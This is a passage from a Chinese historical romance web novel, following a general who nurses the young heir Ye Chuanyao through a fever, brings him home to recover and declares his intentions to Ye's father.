怎么如今沈翾随便一句情话就能让他方寸大乱? 沈翾的面子没丢, 他的面子倒是先丢了个干净! 喉结轻轻滚了滚,叶川遥慢吞吞道:“那个,你不用送我, 我自己回去就好,骑马很快的。” “你快去上朝吧,晚了又该有人说你居功自傲了!” “无妨,”沈翾不以为意道,“今日巡检中军,我已向陛下告了假。” “嗯?”叶川遥惊讶道,“怎么这么突然?” 沈翾让人将食盒装上马车,慢条斯理道:“下个月万寿节,各地藩王及刺史入京,到时会举行观兵大典,以示国威。需提前操练。” 叶川遥点点头,思索着道:“皇帝这是想给各地藩王一个警示,好让他们收起不该有的心思?” “嗯,”沈翾肯定道,“历朝历代,封地王与当地刺史勾结生事的先例不胜枚举。” “如今太子之位依旧空悬,若几位皇子有心与地方勾结,必成大祸,皇帝不得不妨。” “那你呢?”叶川遥不免有些担心,“皇帝又是如何防备你的?” 沈翾眼中微微一动,温声道:“不必担心,如今内忧外患,他暂且不会将我如何。” 叶川遥嗯了声,他虽心中担忧,但也不想无端增加恐慌,遂不再提此事。 一切收拾妥当,他同沈翾一行人一道去往中军大营。 方才到了营外,叶川遥便先行下马,同几人分道扬镳。 “那我先进去了,晚些见!” 刚跑了几步还不忘回头把食盒带上。 “我走啦!” 明烛看看沈翾,摇摇头道:“将军这是被嫌弃了?” 沈翾看着远去的身影,无奈一笑:“现在倒想避嫌了……” 当初造谣的时候干什么去了? 叶川遥满面春风地回到军中,嘴里哼着不知名的曲子,心情大好。 连平时枯燥乏味的文书这会儿都变得有趣了几分。 杨护军踏进屋内,见他一脸欣喜,遂笑着问:“世子这是遇到了什么喜事?” 两人这些日子早已熟悉,虽彼此相差了十几岁,但相处起来倒是颇为自在。 叶川遥见人站起身道:“杨护军,我带了些点心,您尝尝!” “呦,孟记的芙蓉酥!”杨护军笑着上前,“那我可就不客气了啊!” 他拿了一块塞进嘴里,叹声道:“嗯,这芙蓉酥还得是孟记!” “我家夫人也喜欢这个,只是每次都要排好久的队,实在难买!” 叶川遥笑笑:“好东西费心些也值得。” “哈哈,世子说得是!” “报!” 正说着,外面有侍卫进来通传。 “启禀护军,大将军到。” 杨护军将手里的东西放下,忙道:“快迎!” 一边整理着衣服,一边自言自语地往外走:“不是说巳时才来嘛,怎的这么早?” “搞突击检查?” 叶川遥:“……” 也可能只是不小心出门早了些…… 他假装不知,一脸迷茫地跟着杨护军出门相迎。 见到人后躬身道:“见过将军!” 一副恭顺模样。 沈翾漫不经心地看他一眼,温声道:“不必多礼。” 杨护军朝来人拱了拱手:“将军怎地这么早就过来了?” 沈翾睨一眼站在杨护军身后的人,漫不经心道:“马跑得快了些。” 杨护军:“……” 不到一个时辰的路程,提前了一个时辰到,这马怕不是飞过来的? 定然是搞突击检查,看他是否倦怠军务! 杨护军笑着将人请进正厅内,问:“将军今日过来是有什么吩咐?” 沈翾端坐着,嗓音清透道:“下个月万寿节,陛下要举行观兵大典,你带人好好操练,不可有任何差池。” “是,末将定不辱使命。”杨护军高声道。 “将军既来了,要不去校场看看?” “嗯,”沈翾站起身,“走吧。” 叶川遥在两人后面亦步亦趋地跟着。 较场之上将士们正刻苦训练,喊声震天。 杨护军站定,一声令下:“全体,停!” 将士们停下,看见来人后齐声高呼:“参见大将军!” “将士们辛苦!” 沈翾负手而立,望着众人提了提嗓音,道: “如今虽无战事,但外敌伺动,我等仍不可有一日懈怠。” “你们此刻落下的每一滴汗,都是你们的军功,是你们赤勇忠心的见证。” “你们的家人,兄弟姐妹,这大盛的千万百姓,都因你们才能安享康乐!” “十年磨一剑,霜刃未曾试。望诸位不忘赤诚之心,严阵以待,所向披靡!” “严阵以待,所向披靡!” “严阵以待,所向披靡……” 一席话听得叶川遥热血沸腾。 他目不转睛地看着前面的人,整颗心被悸动包裹着。 这便是他的大将军,一国之脊梁,万民之倚仗! 也是他魂牵梦绕之人。 怎么办,好想亲他啊! 沈翾将目光落在前方,瞧见那双亮如辰星的清眸,微不可查地弯了弯唇角。 看来小少爷这是第一次听训,早知道就该多说几句的。 沈翾训完话,在营中各处转了转,将需要整改之处一一交代给杨护军。 叶川遥和明烛在后面跟着,仔细地记下。 巡查结束后,几人回了议事厅。 沈翾同叶川遥一句话也没说,好似只是平常的上下属关系。 但杨护军却心知肚明。 此前世子得知将军遇刺,毫不犹豫奔赴陵川,两人不可能什么也没有。 表面越是疏离,实则关系越近。 这他可见多了! 他看看两人,眼中精光一闪,笑着问沈翾:“将军可还有什么要吩咐的?” 沈翾淡淡道:“没有。” “那末将就先告退了,”杨护军躬身道,“末将方才有东西落在了校场,得过去拿一下。就不送将军了!” 沈翾意味深长地看他一眼,淡淡嗯了声。 杨护军才出了门,明烛也道:“那我出去看看马跑了没。” 叶川遥:“……” 屋内只剩二人。 沈翾起身走到叶川遥面前,盯着他瞧了会儿,轻声道:“在军中照顾好自己,若有人生事,尽可让他们来找我理论。” 叶川遥笑笑,扬着下巴道:“将军,如此光明正大地徇私,是不是不太好呀?” 沈翾不以为意:“对你不敬,便是对我不敬,不算徇私。” 叶川遥的心底一片熨帖,笑着道:“放心吧,我的人缘可比将军好多了!” “人见人爱可不是吹的!” 沈翾轻笑:“嗯。” 顿了顿,柔声道:“那我……先走了?” “好,”叶川遥轻轻应了声,“等下次休沐,我再回府里。” “嗯,”沈翾笑着应下,转身朝门口而去。 叶川遥在他身后高声道:“恭送将军。” 沈翾脚步一顿,又转回身,走到他面前在他脸上快速亲了下。 “走了。” 说完便再未回头,大步离开。 剩下叶川遥一个人留在原地,傻傻愣了许久…… 第56章 叶川遥身在军中, 想着休沐便能见到沈翾,这日子便过得格外有盼头。 可还未等到休沐,夜里却来势汹汹地发起了热。 军医给开了方子, 可一碗苦药喝下去,却依旧不见好转。 反而越烧越热,脸色都泛起了红, 人也愈发没了精神。 杨护军性子急,恐如此耽误下去会出大事, 便立即派人快马加鞭, 赶去大将军府报信。 这人若是在他这里出了点差池,他怕是有一百颗脑袋也不够砍的! 沈翾收到信儿便带着太医赶了去。 风尘仆仆来到床前, 看见正在昏睡的人, 见那纤长的睫毛轻颤着, 看上去难受得紧。 他心里一酸, 立即问在场的几人:“世子现下如何了?” “回将军,”军医赶忙躬身道, “世子半夜突然开始发热。” “属下熬了些清毒散热的药给世子喝下,可喝下去没多久就又吐了出来。” “方才倒是又喝了些, 只盼着别再吐, 等药发挥出效力, 这热才好慢慢退下。” “何故突然发热?”沈翾蹙眉问。 军医思忖着道:“许是白日里天热中了暑气,夜里冲凉又入了寒。” “这一冷一热, 世子身子娇弱受不住,便发了出来。” “属下不才, 还要有劳太医再替世子看看。” 太医遂上前,仔细地在叶川遥的手腕上探了探,回禀道:“回将军, 世子确是受寒所致。” “这暑天里受点凉气本也没什么,只是世子的身子略显孱弱,寒邪侵体后又没有马上散寒,这才发起了热。” “不过并无大碍,只要按时服药,三日左右便能退热。” “三日?”沈翾看向太医,冷声道,“你是说让他就这样,烧上三日?” “将军莫急!”太医忙道,“今日这两副药下去,世子的状况自会好转。” “只是这热还需慢慢消退,世子体弱,时有反复也属正常,不可操之过急……” 他瞥见沈翾阴沉的脸色,心里一颤,嗓音匆忙一转。 “可将世子身上的衣袍褪去些,胸口敞开,再拿温水擦拭,或可退得更快些!” 沈翾紧蹙的眉头终于缓缓松开,心里的担忧却并未减少。 趁着太医在,干脆一次问个清楚。 “太医可能看出世子为何体弱?” 太医又在那脉上仔细探了探,问道:“世子从前可是生过重病?” 沈翾想了想,道:“只听说三年前病过一场。” “是何病症尚且不知。” 太医点点头,若有所思道:“这就是了。” “看脉相,似是悲痛过重所致心血有损,导致肺气不足,抵御外邪之力便弱了些。” 悲痛过重…… 沈翾眸色微闪,在心里默默思忖着。 何事能让阿遥那样一个性子欢快的人郁结至此? 难道是因为母亲离世? 可叶夫人是五年前病逝的,而阿遥分明说过,他是三年前大病过一场。 那究竟所为何事,竟将身子都熬坏了? 他目光深沉地看向床上之人,心里涌上几分不忍,出声问:“太医可有法子调理?” “自是有的,”太医道,“我开个方子,等此次病好,可让世子按方子服药。” “再辅以药膳,养上个三五个月,便可大好。” 沈翾点头:“那有劳太医去开方子。” “明烛,好生送太医回府。” 太医随明烛前脚先离开,军医随后也躬身道:“那属下这就下去熬药,天亮后便让世子再服一次。” “嗯,下去吧。” 几人退下,只剩沈翾坐在床边,眉头紧锁地看着床上的病容。 不过才离开他眼皮子底下几日,怎么就把自己折腾成这样…… 忽地想起陵川那夜。 这会儿倒真希望小少爷是装病了。 若只是装病,管他想要什么,他只管由着他便是,也好过像现在这般活受罪。 叶川遥动了动脑袋,嘴唇又干又热,嘴里像在着火一般。 难受地哼了两声,便继续昏睡着。 沈翾抬手覆在他额头上,方一碰上便觉掌心烫得厉害。 若就这样烧下去,就算没烧出个好歹来,也定是难受至极,根本睡不安稳。 沈翾想着方才太医的话,目光在他身上顿了顿。 叶川遥方才只穿了里衣,身上搭了个薄被。 沈翾想了想,遂将被子扯开。 又伸手将那里衣的领口轻轻扒开,露出雪白如玉的肌肤。 他将帕子在温水里浸过,拧至半干,在叶川遥胸前轻轻擦拭。 动作小心翼翼,仔细地将前胸擦了个遍。 叶川遥烧得迷迷糊糊,身上忽冷忽冷。 胸前突如其来的湿意让他觉得好受了不少,随即悠悠转醒,缓缓睁开发沉的眼皮。 待看清面前是何人,反应过来他在做什么事情后,叶川遥的整张脸烧得更厉害了。 他目光迷离地看着沈翾,声音虚弱道:“将军,我还病着呢,你这是做什么?” 沈翾手里正扒着衣领往一旁拉,就差分毫,胸前风光便一览无余。 乍一瞧着,好像的确容易生出误会。 但他自视坦荡,便干脆大大方方地继续擦着。 “太医说用温水擦身,可令烧退得快些。” 叶川遥哦了声,轻轻道:“那有劳将军了。” 沈翾将帕子放进盆里,看着他问:“可好受些了?” “嗯,好多了。”叶川遥缓缓道,“先前胃里翻江倒海直犯恶心,吐出去倒好受了些。” 他说完看着沈翾问:“这么晚了,将军怎么还过来?” “杨护军也真是的,有军医在,能有什么事……” 沈翾轻舒一口气,柔声道:“太医说你身子受了亏,比常人抵御风邪的能力要弱些,不可轻视。” 叶川遥不以为意:“哪那么弱了,我平日里身体都好着呢。” “今儿不过是一时贪凉,才碰巧惹上风寒,过个两日也就好了。” 沈翾看着他,无奈道:“自你我相识不过才两三个月,这都病了几次了?” “汗还未消就冲凉,如此不把自己的身子当回事……” “好啦,我的大将军,”叶川遥出声打断他,讨好地笑着道,“你就别数落我了,我这次可长教训了,以后绝不贪凉了,行吗?” 沈翾张了张嘴,轻叹一声:“并非是要数落你……” 罢了,左右以后让人小心照看着就是。 瞧着叶川遥的精神好了些,他抬手又摸了摸他的额头。 还在发热。 “要不要睡一会儿?”沈翾看着他问。 叶川遥的脑袋还一片混沌,身上也沉得没力气,直犯困。 “那我睡一会儿,你先出去吧,不用一直守着我,当心过了病气。” 沈翾笑笑,漫不经心道:“先前装病的时候我姑且守了你一晚,这会儿真病了,难道要我一走了之,把你自己扔下?” 叶川遥轻轻一笑,想着自己只是感染风寒,并非传染人的疫症,便不再纠结。 “那我睡了,你若是困的话就去隔壁歇息,偶尔过来看看就行,不必一直守着。” 他本想让沈翾上来同他一起睡,但军中的床榻不比家里,两个人睡实在太过狭窄,便只好作罢。 毕竟他还在病中,也实在没那个气力去想那些旖旎之事。 沈翾应了声好,在床边看着他睡着,才起身去了桌子旁,处理起军务。 许是药效发挥了作用,叶川遥这一觉睡得颇为安稳。 再睁眼时已天光大亮。 他翻了个身,看向屋内,见沈翾正支着手臂坐在桌子前闭眼小憩,阳光映下隐隐侧影。 怕将人吵醒,叶川遥缓缓起身,想悄悄下地给自己倒口水喝。 烧了一夜,嘴唇都干得起了皮。 谁知沈翾听到动静立马醒来,朝床边大步走过来。 “醒了?” 叶川遥嗯了声,坐在床边道:“口渴了,将军帮我倒杯水吧。” “好,”沈翾起身倒了水,端到床边递给他,随即问,“可觉得好些?” 叶川遥喝完水,将杯子放在一旁,点点头道:“好多了,烧好像也退了些,身上也有力气了。” 沈翾抬手摸了摸他的额头,舒了口气:“是退了些。” “我让人将药端上来,先吃了药,再去用早膳。” 叶川遥看看时辰,问道:“你今日不用去上朝吗?” “已经向陛下告过假了。”沈翾坦然道。 “又告假?”叶川遥不放心道,“你这样皇帝该如何想你?” “还是快回去吧,我都已经没事了,你不用总守着我!” 沈翾笑笑:“放心,我已向陛下请了旨,这一个月会经常来军中督察观兵事宜。” “不过……” “现下看来倒是有些多此一举。” “什么意思?”叶川遥不明所以。 沈翾看着他,不容置疑道:“一会儿用完早膳,跟我回府。” “啊?”叶川遥眨了眨眼,不明所以地问,“回府做什么?” “今日又不是休沐,我总不好也如你一般日日告假吧?” 沈翾:“……” 慢条斯理道:“回府先把身子养好。” “世子想要建功立业,以后有的是机会,不急于这一时。” 叶川遥想了想,觉得他说得也有道理。 总如此病弱的确不是办法。 遂欣然应下:“好,那我们一起回去!” 第57章 对于跟着沈翾回将军府这件事, 叶川遥虽应得痛快,但隐隐约约总觉得,好像哪里有些不太对。 但想了半天也没想出个所以然。 他如今病了, 确确实实需要好生养着。 若再落下个什么毛病,别说参军,怕是就连出门都难了。 况且沈翾还特地请了太医帮他调理旧疾, 他若再推拒,便不是客气, 而是不知好歹了。 左右也不是第一次麻烦他, 就当又欠下一个人情,以后找机会还了就是。 不过以他跟沈翾如今的关系, 一般的还礼到底俗气了些。 莫不如…… 还是以身相许好了! 有些事嘛, 总要有个由头才好办! 喝过药, 又用了早膳, 叶川遥的精神好了大半。 虽说还是病容明显,但起码已经能自己下地, 不必再昏昏沉沉地缠绵病榻。 沈翾让人在马车里铺了软榻,松松软软的, 就算路上颠簸也不至于太受罪。 叶川遥身上难受, 便也不矫情, 坦然享受着他的照顾。 毕竟如此体贴的大将军,可不是日日都能见着的。 马车走得慢, 他头晕坐不住,便干脆就着软榻躺下。 虽说有些晃, 但意外地还挺舒服。 沈翾看了看他略显苍白的脸色,不禁有些担心:“还受得住吗?” 叶川遥轻轻嗯了声:“没事,就是困……” 沈翾轻叹口气:“困就睡会儿, 到了再叫你。” “好……”叶川遥懒懒地应了声,闭上眼便开始昏睡。 马车摇晃,他睡得并不安稳。 行至半路,车身突然猛烈一震,把叶川遥本就混沌的脑袋险些震成两瓣。 嘶…… 叶川遥皱着眉抬手捂住头,可别没病出个好歹,倒先磕傻了! 沈翾眸色一惊,忙揽住后背将人牢牢稳住,冲车夫怒斥道:“怎么回事?” 车夫忙道:“属下该死,不知从哪滚来块石头,属下躲避不及……” 沈翾阴沉着脸正要发作,叶川遥伸手拉了拉他的袖子。 嗓音轻柔道:“将军,扶我起来吧,我想坐一会儿。” 沈翾将人小心扶起,皱着眉问:“可有哪里伤到?” “没有,”叶川遥摇摇头,笑着道,“这么一磕,倒是清醒了些,反而不困了。” 沈翾不放心,掰过他的头仔细查看着,见并无伤口,这才终于松了口气。 只是不禁有些懊恼,实在不该今日便急着让他回去。 他只想着早些把人接回去好生照料,却忽略了这舟车劳顿之苦。 叶川遥看向沈翾,见他眉头紧蹙,不知在郁结什么。 他轻轻眨眨眼,单手扶了扶额,微眯着眼道:“方才起得太猛,有点头晕……” 沈翾便抬手将他那圆溜溜的脑袋往自己肩上轻轻一拨。 “这样靠着,可好受些?” “嗯,”叶川遥在他身上轻轻蹭了蹭,找了个舒服的姿势,心满意足道,“好多了。” “将军的肩膀很宽,靠着真舒服。” 沈翾闻着身前发丝上的淡淡清香,心底一软。 轻声道:“既醒了,就同我说说话吧。” “好,”叶川遥仰着头看他,目光微亮,“那将军同我说说下个月的观兵大典吧!” “我从前从没见过阅兵,不知会是何种场景?” 沈翾嗯了声,慢声道:“那日五万中军会全部集结于宫门外,陛下和诸位藩王则行至观礼台观礼。” “其声势浩荡,可响彻长空。” “整场兵礼分三部分,分别为军仪、队列和承训。” “可是由陛下亲自言训?”叶川遥问。 沈翾嗯了声:“中军护卫京师,于皇城至关重要。” “陛下亲训,方可显皇家威仪。” 叶川遥默默听着,对皇帝如何训话无甚关心,反倒担心起别的来。 他直起身,看着沈翾道:“将军,阅兵一事,皇帝会不会起别的心思?” “五万中军集结宫外,若陛下硬要给你扣上个意图谋反的罪名……” 虽说有些荒唐,但此事关乎沈翾的安危,叶川遥还是越想越心惊。 总觉得那老皇帝什么离谱行径都干得出来! 沈翾默默思索片刻,道:“阅兵一事朝堂皆知,他不会拿此事做文章。” “不过,也保不齐他还有别的想法。” “什么想法?”叶川遥警惕道。 “不知,”沈翾意味不明地摇摇头,随即笑笑,“无妨,见招拆招便是。” 叶川遥若有所思地点点头,他相信以沈翾的能力,定能逢凶化吉。 不过… “还是要多加小心。” 沈翾笑着应了声:“好。” 回到府里时已近晌午,街面上人来人往。 马车在大门口停下,帘子掀开,沈翾扶着叶川遥从马车里出来。 刚下了车,便将人腾空抱起。 叶川遥吃了一惊,轻呼出声。 周围投来好奇的目光。 这不是那位美人世子吗? 听说国公府解封后他便离开将军府,回了自己家,这怎么又回来了? 难道二人竟真的相好了?! 不过就连这么几步路都不想走,这未免也宠得太过了吧? 虽说世家子弟养个男宠并不稀奇,但大多时候都是男宠主动讨好,哪有被如此惯着的! 不愧是京城第一美人,果然手段了得! 叶川遥自是不知这些人心中所想,但瞧着他们打量自己的眼神,也大概能猜到这些人都脑补出了些什么精彩桥段。 也许明日,这京中的街头巷尾便会流传出他和沈翾的香艳事迹。 甚至连话本都会被连夜赶写出来。 他扭过头,将脸往沈翾胸前埋了埋,小声催促道:“将军,走快点行吗?” 让沈翾放他下来大概是不可能了,既如此,他可不想被人一直盯着。 沈翾轻笑一声,加快脚步,将人一路抱回了云水阁。 云画听见动静忙迎出来:“世子这是怎么了?” 沈翾将人放进卧房,冲云画吩咐道:“去找明烛,按照太医的吩咐,好好照顾世子。” “是,奴婢这就去。”云画说着退身出去。 沈翾坐在床边,摸了摸叶川遥的额头,皱着眉道:“怎的又烧起来了?” 叶川遥握住他的手腕,笑着道:“太医不是说了,要反反复复烧上三日的吗?” “无妨,现在虽还烧着,但已经没那么难受了,你别太担心。” 沈翾嗯了声:“药已经让他们去熬着了一会儿把饭菜端进来,你先用午膳,再把药喝下好好睡一觉。” “好,都听你的。”叶川遥顺从道。 婢女很快将饭菜端进来。 叶川遥本就没什么胃口,加上一路舟车劳顿浑身疲乏,实在吃不下。 只勉强用了几口,便挪回榻上躺下。 身上的热还没退下,他使不上力气,只想睡觉。 见他睡着,沈翾让人把急着处理的文书都搬进了云水阁,一个人坐在屏风外处理公务。 他想了想,还是差人给国公府送了信。 正好有些事也好问上一问。 叶青云听到消息自是担忧不已,马不停蹄地赶了过去。 沈翾出门相迎,两人去了前厅说话。 “国公不必担心,张太医每日都会过来,世子定很快便会好转。” 叶青云点点头:“阿遥有将军照料,我自是十分放心。” “只是此前种种已承蒙将军关照,怎敢一直叨扰?” 沈翾勾了勾唇,声音和煦:“国公爷,你我之间何需说这些客套话?” 叶青云笑笑,想了想,看着他问:“将军,老夫斗胆,想问将军要一句真心话。” 沈翾嗯了声,正色道:“国公请讲。” 叶青云开门见山地问:“将军对我儿,究竟存着什么样的心思?” 沈翾略一思忖,郑重道:“世子于我而言,是知心好友,亦是沈翾心之所向。” “实不相瞒,沈翾从前从未有娶妻的打算,只想一人来一人去,不连累他人,也不徒增牵挂。” “但如今,若阿遥愿意,我便想同他一生一世一双人,共赴白头,死生不弃。” 叶青云听完沉默下来,心里确实震惊不已。 没想到他那个傻儿子,竟真的守得明月见云开。 只是不知,此事是好还是坏…… 他叹口气,缓缓道:“将军,老夫并非那迂腐执拗之人。” “人之一生,高兴自在才最要紧。旁人的指点无关紧要。” “我只是担心……” 他顿了顿,眉心微蹙,没有再继续说下去。 沈翾自然知道他在担心什么。 他站起身,朝叶青云拱了拱手,一字一句道:“国公爷,我沈翾今日在此向你保证,不管日后发生何事,我都不会将世子置于险境。” “若真有身处绝境那一日,我也定会想出周全之法,绝不牵连于他。” 见他信誓旦旦,叶青云轻叹一声,无奈道:“请将军体谅老夫为人父的心情,将军的能力我绝不质疑,只是……” “罢了,就让他先留在这里,把身子养好,旁的且日后再说吧。” 沈翾莞尔:“好。” “还有一事,想问一下国公。” “何事?” “阿遥说他三年前病过一场,太医说乃心思郁结所致,国公可知其中缘由?” 叶青云眼中微微一闪,叹气道:“这件事,还是等日后,将军自己问他吧。” 沈翾点点头,并未勉强。 既是往事,也不必再深究。 不管所为何事,所为何人,往后,他都不会让阿遥再受同样的苦。 第58章 叶青云随沈翾踏进叶川遥的卧房, 打算瞧一眼自己儿子再回去。 没亲眼见着,总归有些放心不下。 刚绕过屏风,就见叶川遥四仰八叉地躺在床榻上, 呼吸平稳,睡得极是香甜。 瞧着倒比在家时还要自在几分。 叶青云张了张嘴,愣在原地, 随即僵硬地扯了扯嘴角:“这孩子……” 沈翾笑笑,不以为意:“世子不拘小节, 率真可爱, 实属难得。” 叶青云无奈地叹了口气。 他能说什么,还不都是他自己惯出来的。 只好道:“那阿遥就拜托将军好好照顾了。” 沈翾微一颔首:“国公尽管放心。” 叶青云点点头, 这才放心离开。 只是心中不免感慨丛生。 果真是儿大不中留啊…… 罢了, 还是回去让凌舟收拾些细软送过来, 总不好真的在人家府里白吃白住。 许是今日回城路上真累着了, 叶川遥这一觉睡了许久,日暮西沉才悠悠转醒。 一睁眼恍惚了一瞬, 随即弯起眉眼笑笑。 他又回来了。 听见屋内动静,沈翾从屏风外走过来, 倒了水递给他。 清声道:“国公爷方才来过。” “我爹来过了?”叶川遥吃惊道, “你让人给他送的信儿?” 沈翾嗯了声:“你在我这里还需住上一段时日, 总该让你父亲知晓。” “他见你睡得正沉,便没舍得叫醒你。” 见叶川遥眼底似有些落寞, 沈翾顿了顿,道:“等过两日病好了, 我随你一道回去看他。” “好,”叶川遥心里一暖,轻声应下。 又问:“我爹他可说什么了?” 沈翾在床边挨着他坐下, 面色自然道:“国公说家中一切都好,让你尽管在此住下,安心养病。” “想住多久便住多久,不必急着回去。” “……” “我爹他……真这么说的?”叶川遥瞪着眼,半信半疑。 老头子就这么放心把他留在这儿? 不像他的作风啊…… 从前哪怕和季岩出去玩,父亲都要叮嘱好久,要他入夜前务必回府。 但凡他贪玩晚回去些,老头子都一定会在大门口东张西望地等着他。 如今竟就这么轻易地把他交给别人了? 还是亲爹吗?! 见他一脸的不相信,沈翾面不改色地嗯了声,笑着道:“看来国公对我倒很是放心。” 叶川遥:“……” 是未免也太放心了吧! 他撇撇嘴:“我爹那是惧怕大将军的淫威,才不得不从罢了!” 沈翾笑笑,看着他嗓音清透地问:“那世子呢,可也怕我?” 叶川遥扬了扬下巴,凑近他一字一顿道:“我才不怕!” “将军尽管放马过来。” 他说这话时脸上带着笑,嗓音又轻又软,还带着几分刚睡醒的慵懒。 好似柔软的羽毛轻扫在心口,让人全身直跟着发痒。 沈翾呼吸一沉,眼底深了深,随即又故意问:“世子既不怕我,那又是为何留下呢?” “我嘛……”叶川遥梗着脖子,眉眼弯弯道:“自然是为了你们府上的大厨啊!” “那么多好吃的,我可不得多住些日子,通通尝一遍!” “……” 原来想把世子拐回家,只需要府里有一个合他胃口的大厨。 沈翾轻叹一声,幽声问:“既如此,那晚膳想吃什么?” 午饭没吃几口,叶川遥这会儿确实饿了。 他仔细想了想,眼睛一亮:“这两日喝药喝得嘴里都是苦的,想吃甜甜的酒酿圆子!” “若是再能用井水给拔凉一下,那就更好不过了!” 沈翾对他一向无有不从,这次却并没有依着他。 “糯米不好消化,你还病着,不宜吃这些甜腻的东西。” “我让厨房给你熬一点白粥,再煮两道时蔬小菜。” 叶川遥一听这话,人立马萎了下去,方才还熠熠发亮的双眼瞬间没了光。 吃不到想吃的,不开心。 他噘着嘴,兴致缺缺地应了声:“哦,那好吧。” 见他忽而情绪低落,沈翾无奈地轻笑一声,柔声轻哄道:“等把身子养好,我陪你出去,到时想吃什么便吃什么,可好?” 叶川遥这才露出笑模样,高兴地应了声:“这还差不多!” “那说好了,不许食言!” 沈翾轻笑:“嗯,绝不食言。” 叶川遥站起身伸了个懒腰。躺了一天,骨头都快粘成一片,一动嘎吱嘎吱直响。 他看一眼窗外淡红的天色,冲沈翾道:“睡了一天脑袋都睡沉了,陪我出去走走吧?” “好。”沈翾柔声应下。 “走吧!”叶川遥欢声道。 不曾想刚迈两步,忽然脚下一晃,身子一歪,便不偏不倚,正好倒进身旁人的怀里。 “……” 他若说他不是故意的,会有人信吗? 沈翾将人小心扶起来,打量着怀中人的脸色,担心道:“你身子虚弱,还是别去吹风了。” “无妨,”叶川遥重新站稳,轻咳一声道,“我就是一时没站稳,现在已经没事了。” “走吧,我想出去透透气。” 可怜巴巴又带着几分撒娇的语气,沈翾自然无半点招架之力。 他将人半搂在身前,朝着门外慢慢挪去。 叶川遥想了想,边走边道:“将军,我其实平日里,并不是都这般娇弱的。” “只是这两日病了,总犯头晕……” 沈翾听了忍俊不禁,嗓音温润道:“嗯,世子勇敢刚毅,胆识过人,岂会是柔弱之人?” 叶川遥:“……” 倒也不必硬夸…… 落日西沉,洒下余晖淡淡。 闷热散去,清风自来,遥望天高云淡间,唯余几许惬意。 两人并肩走在莲花池边,散步赏花,不时闲聊几句。 叶川遥坐到池边的凉亭下,望向池中央泛着涟漪的池水,目光忽地一闪。 上一世沉入湖底的记忆翩然袭来,让他不禁胸口一痛。 原以为都已过去,没想到终究还是在心底留下阴霾。 他缓缓闭上眼,长舒一口气,等待痛楚慢慢消退。 沈翾发现他的异样,出声问:“可是哪里难受?” “没有,”叶川遥摇摇头,故作无恙道,“只是想起些往事。” 他看向沈翾,轻声问:“将军,你相信人有来世吗?” 沈翾顿了顿,望向池中濯濯白莲,嗓音温润道:“苍穹辽阔,天地浩瀚,自有我等凡人无法窥探之事。” “若真有生死轮回,倒也算幸事一桩吧。” 叶川遥笑笑:“是啊,若能重来一遭,许多遗憾便能弥补,当真幸运。” 承蒙上天眷顾,给了他这样一次重新来过的机会,让他终于得偿所愿。 如今他只盼着,这份安宁能一直延续下去。 沈翾看向他,眉目染上三分笑意,嗓音柔和道:“比起寄希望于来世,更该珍惜当下,不留遗憾才是。” 叶川遥弯了弯唇角,轻轻笑开:“将军说的是,没有什么比当下更重要的。” 他会牢牢抓住这份来之不易的安宁。 好不容易把人骗到手,可绝对不能再放开! 沈翾垂眸沉思片刻。 他本想找机会问问阿遥,三年前那场大病究竟因何而起。 可仔细一想,又觉得实在多此一举。 往事已尽,何须再旧事重提,平添烦扰,只该珍惜当下便是。 两人各怀心事,却一同豁然开朗。 不多时,云画上前禀报:“将军,世子,晚膳好了,要端到这凉亭里用吗?” “嗯嗯,都端过来吧!”叶川遥眼睛发亮地看向沈翾,“将军,我们就在这里用晚饭吧,可好?” 从前在国公府时,一到夏日他便喜欢在院子里用饭。 赏着花,吹着风,别有一番风味。 而今日这莲花开得甚好,更不该辜负这如画般的美景。 沈翾应了声好,吩咐云画:“让人把饭菜端过来,再盛两碗酸梅汤。” “是。”云画应声退下。 “酸梅汤?”叶川遥两眼放光,立马来了精神。 沈翾笑道:“太医说少饮些无妨,我便让人备了些。” 叶川遥整个人都发起了光,拉起沈翾的手臂晃了晃,开心道:“暑天里我最喜欢的就是这个,酸酸甜甜解腻得很!” 他向前凑近些,贴着沈翾的耳边,用只有两人能听见的声音,笑着道:“谢谢哥哥!” 沈翾后背一麻,随即勾起嘴角,面色愉悦地嗯了声。 小少爷其实很好哄。 两人在凉亭里用过晚膳,随后太医来府中替叶川遥诊脉。 “如何了?”沈翾问。 太医回道:“世子已无大碍,虽体内仍有余热,但不至于高烧不退,症状也会逐渐减轻。” “再用上两日药,便可换成调养的方子。” 沈翾嗯了声:“有劳张太医。” 张太医笑笑,随即拿上银子走人。 不出两日,朝中上下皆听说卫国公家那个俊美的小世子住进了大将军府。 听说世子身子不好,大将军日日陪伴,悉心照料,体贴得紧。 有人不信,只觉匪夷所思。 “你是说大将军不光夜里亲自守着人,还亲自给那位端茶倒水?” “莫不是那张太医年纪大了,老眼昏花了吧?” “这还能作假?听说世子烧了三日,大将军便在榻前守了三日!” “不光张太医,就连将军府的下人也是这般说的!” 那人嗤笑一声:“你这话一听就假。谁人不知将军府一向最是纪律严明,哪个下人敢出来嚼舌根,不想活了?” “哎,这你就有所不知了。他们敢将此事拿出来说,那大将军自然是应允的,不然谁敢?” 那人这才信了几分。 “这大将军竟当真如此宠爱一个男子?” “哎,世子生得俊美,大将军一时沉迷美色也是有的。” “不过左右也就是当个男宠养着罢了,有何稀奇?你见我朝有哪个世家子弟会真的娶个男妻回去?” “嗯,说得也是……” 叶川遥在将军府里养了几日,气色好了大半,人看着也结实了些。 每日喝药喝得嘴里苦得很,病一好,他便不想再喝。 这日晌午,又到了喝药的时辰,他正要从房里偷溜出去,却被沈翾堵个正着。 “世子这是要去哪啊?” 叶川遥眯眼笑笑:“明烛说找我有事,好像还挺急的,我先过去,药等我回来再喝啊!” 说完就想往外跑。 沈翾抬手将人拦住,面无表情道:“明烛不在府里。” 叶川遥:“……” 大意了,早知道该说管家找他的。 他叹口气,同沈翾商量道:“哎呀我真好了,不信你看,我现在能蹦能跳的,真不用再喝药了!” 说完抿着唇,可怜巴巴地看着面前的人。 沈翾不为所动:“太医说至少要再喝一个月,别想躲。” “可我不想喝嘛……”叶川遥委屈道,“翾哥哥,你就别让我喝了,行吗?” 沈翾轻叹一声,嗓音低沉道:“别撒娇。” “你身子有亏,若不加调理,日后只怕时有病痛,岂不更遭罪?” 叶川遥哦了声,板着脸坐下,一副仇恨的目光盯着桌子上的药碗。 要不是怕浪费了这么好的药材,真想干脆一扬手打翻算了! 沈翾看他一眼,轻声道:“你把药喝了,我给你一样好东西。” “什么东西?”叶川遥好奇问。 沈翾笑笑:“你喜欢的。” “真的?”叶川遥想了想,端起药碗,“那行,我倒要看看你要给我什么好东西!” 